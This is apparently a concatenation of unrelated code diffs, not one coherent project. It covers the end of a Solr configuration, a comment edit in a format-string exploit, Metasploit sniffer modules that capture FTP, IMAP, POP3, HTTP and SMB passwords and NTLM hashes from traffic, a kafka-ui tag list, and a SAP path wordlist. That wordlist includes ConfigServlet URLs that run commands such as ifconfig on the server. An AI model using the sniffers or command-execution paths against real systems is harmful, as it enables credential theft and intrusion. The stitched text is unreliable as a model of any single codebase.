<formatter name="html"
|
||||
default="true"
|
||||
class="solr.highlight.HtmlFormatter">
|
||||
<lst name="defaults">
|
||||
<str name="hl.simple.pre"><![CDATA[<em>]]></str>
|
||||
<str name="hl.simple.post"><![CDATA[</em>]]></str>
|
||||
</lst>
|
||||
</formatter>
|
||||
<encoder name="html"
|
||||
class="solr.highlight.HtmlEncoder" />
|
||||
|
||||
<fragListBuilder name="simple"
|
||||
class="solr.highlight.SimpleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="single"
|
||||
class="solr.highlight.SingleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="weighted"
|
||||
default="true"
|
||||
class="solr.highlight.WeightedFragListBuilder"/>
|
||||
|
||||
<fragmentsBuilder name="default"
|
||||
default="true"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
</fragmentsBuilder>
|
||||
|
||||
<fragmentsBuilder name="colored"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
<lst name="defaults">
|
||||
<str name="hl.tag.pre"><![CDATA[
|
||||
<b style="background:yellow">,<b style="background:lawgreen">,
|
||||
<b style="background:aquamarine">,<b style="background:magenta">,
|
||||
<b style="background:palegreen">,<b style="background:coral">,
|
||||
<b style="background:wheat">,<b style="background:khaki">,
|
||||
<b style="background:lime">,<b style="background:deepskyblue">]]></str>
|
||||
<str name="hl.tag.post"><![CDATA[</b>]]></str>
|
||||
</lst>
|
||||
</fragmentsBuilder>
|
||||
|
||||
<boundaryScanner name="default"
|
||||
default="true"
|
||||
class="solr.highlight.SimpleBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.maxScan">10</str>
|
||||
<str name="hl.bs.chars">.,!? 	 </str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
|
||||
<boundaryScanner name="breakIterator"
|
||||
class="solr.highlight.BreakIteratorBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.type">WORD</str>
|
||||
<str name="hl.bs.language">en</str>
|
||||
<str name="hl.bs.country">US</str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
</highlighting>
|
||||
</searchComponent>
|
||||
|
||||
<updateProcessor class="solr.UUIDUpdateProcessorFactory" name="uuid"/>
|
||||
<updateProcessor class="solr.RemoveBlankFieldUpdateProcessorFactory" name="remove-blank"/>
|
||||
<updateProcessor class="solr.FieldNameMutatingUpdateProcessorFactory" name="field-name-mutating">
|
||||
<str name="pattern">[^\w-\.]</str>
|
||||
<str name="replacement">_</str>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.ParseBooleanFieldUpdateProcessorFactory" name="parse-boolean"/>
|
||||
<updateProcessor class="solr.ParseLongFieldUpdateProcessorFactory" name="parse-long"/>
|
||||
<updateProcessor class="solr.ParseDoubleFieldUpdateProcessorFactory" name="parse-double"/>
|
||||
<updateProcessor class="solr.ParseDateFieldUpdateProcessorFactory" name="parse-date">
|
||||
<arr name="format">
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[,SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[,SSS]][z</str>
|
||||
<str>[EEE, ]dd MMM yyyy HH:mm[:ss] z</str>
|
||||
<str>EEEE, dd-MMM-yy HH:mm:ss z</str>
|
||||
<str>EEE MMM ppd HH:mm:ss [z ]yyyy</str>
|
||||
</arr>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.AddSchemaFieldsUpdateProcessorFactory" name="add-schema-fields">
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.String</str>
|
||||
<str name="fieldType">text_general</str>
|
||||
<lst name="copyField">
|
||||
<str name="dest">*_str</str>
|
||||
<int name="maxChars">256</int>
|
||||
</lst>
|
||||
<bool name="default">true</bool>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Boolean</str>
|
||||
<str name="fieldType">booleans</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.util.Date</str>
|
||||
<str name="fieldType">pdates</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Long</str>
|
||||
<str name="valueClass">java.lang.Integer</str>
|
||||
<str name="fieldType">plongs</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Number</str>
|
||||
<str name="fieldType">pdoubles</str>
|
||||
</lst>
|
||||
</updateProcessor>
|
||||
|
||||
<updateRequestProcessorChain name="add-unknown-fields-to-the-schema" default="${update.autoCreateFields:true}"
|
||||
processor="uuid,remove-blank,field-name-mutating,parse-boolean,parse-long,parse-double,parse-date,add-schema-fields">
|
||||
<processor class="solr.LogUpdateProcessorFactory"/>
|
||||
<processor class="solr.DistributedUpdateProcessorFactory"/>
|
||||
<processor class="solr.RunUpdateProcessorFactory"/>
|
||||
</updateRequestProcessorChain>
|
||||
|
||||
</config>
|
||||
@@ -553,7 +553,7 @@ void createStackWriteFormatString(
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// Write the LABEL 6 more times, thus multiplying the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
|
||||
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 5 from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass] = ""
|
||||
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 230 from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability OK reponse from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability NO response from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability BAD response from server",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
|
||||
# Strip the banner, so that we don't need to do it multiple times
|
||||
# We can improve the banner by removing the +OK part
|
||||
s[:banner] = matches.strip
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
@@ -52,8 +56,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:name],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
@@ -72,8 +85,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:proto],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# When db is available reports go into db
|
||||
#
|
||||
|
||||
#Memo :
|
||||
#Memo :
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
@@ -20,7 +20,7 @@
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
when "NTLMv1" then "netntlm"
|
||||
when "NTLM2_SESSION" then "netntlm"
|
||||
when "NTLMv2" then "netntlmv2"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
report_cred(
|
||||
:ip => dst_ip,
|
||||
:port => s[:port],
|
||||
:service_name => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => :nonreplayable_hash,
|
||||
:jtr_format => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
|
||||
report_note(
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => 'http',
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -83,6 +83,8 @@
|
||||
<% description = "The module is expected to get a shell every time it runs." %>
|
||||
<% elsif reliability == "unreliable-session" %>
|
||||
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
|
||||
<% elsif reliability == "event-dependent" %>
|
||||
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
|
||||
<% end %>
|
||||
|
||||
* **<%= reliability %>:** <%= description %>
|
||||
|
||||
@@ -88,6 +88,7 @@ strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
|
||||
|
||||
Binary file not shown.
+1224
-140
@@ -1,3 +1,7 @@
|
||||
/@download@
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
@@ -5,64 +9,26 @@
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/CMSRTS/Config?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CmcApp/logon.faces
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/@download@
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/examples.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IGSCustomizingXML
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
@@ -86,11 +52,67 @@
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/KW
|
||||
/Lighthammer
|
||||
/Modeler
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/RE/index.jsp
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/SQLtrace/index.html
|
||||
/TOdbo
|
||||
/TSapq
|
||||
/TXmla
|
||||
/TestJDBC_Web
|
||||
/VC
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/bwtest
|
||||
/caf
|
||||
/ccsui
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/dispatcher
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples.html
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/exchangeProfile/
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/index.html
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
@@ -111,32 +133,26 @@
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
@@ -147,9 +163,24 @@
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/IStest
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/ap
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
